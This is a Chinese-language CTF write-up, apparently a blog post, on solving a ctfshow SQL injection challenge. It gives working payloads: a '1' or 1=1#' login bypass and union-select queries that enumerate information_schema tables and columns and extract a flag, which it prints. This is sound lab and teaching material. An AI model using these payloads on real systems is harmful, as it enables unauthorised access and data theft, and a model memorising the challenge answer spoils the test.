先学一下sql基本语句
这里要用到select,union,information_schema,limit
这一题是单引号闭合,字符型注入
万能账号
1' or 1=1#
sql语句为:
SELECT * FROM admin WHERE Username='$username' AND Password='$password'
提交密码账号后
SELECT * FROM admin WHERE Username='1' or 1=1#' AND Password='$password'
#' LIMIT 0,1之后都被注释掉了
所以密码任意都能通过

先解释一下union:跳过原查询条件
查看回显位置
1' or 1=1 union select 1,2,3#

爆库名
1' or 1=1 union select 1,database(),3#

爆表名
1' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2'),3#
咦,这个怎么没有回显
搜索一下发现
UNION查询中,select 1,(子查询),3里的子查询属于 “标量子查询”(作为SELECT列表中的一个字段),必须只能返回 1 行 1 列。
查看wp
先查看数据库表的数量
1' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema='web2'),3#

接着查第一个表名
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 limit 1,2;#

得到表名flag
查第二个表名
' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 1,1),3 limit 1,2;#

得到表名user
查flag列的数量
' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name='flag' limit 0,1),3 limit 1,2;#

查flag表列名
' or 1=1 union select 1,(select column_name from information_schema.columns where table_name='flag' limit 0,1),3 limit 1,2;#

查flag
' or 1=1 union select 1,(select flag from flag),3;#

ctfshow{c9dd5867-5931-49b2-b7f9-6f0b2af7bbde}
348

被折叠的 条评论
为什么被折叠?



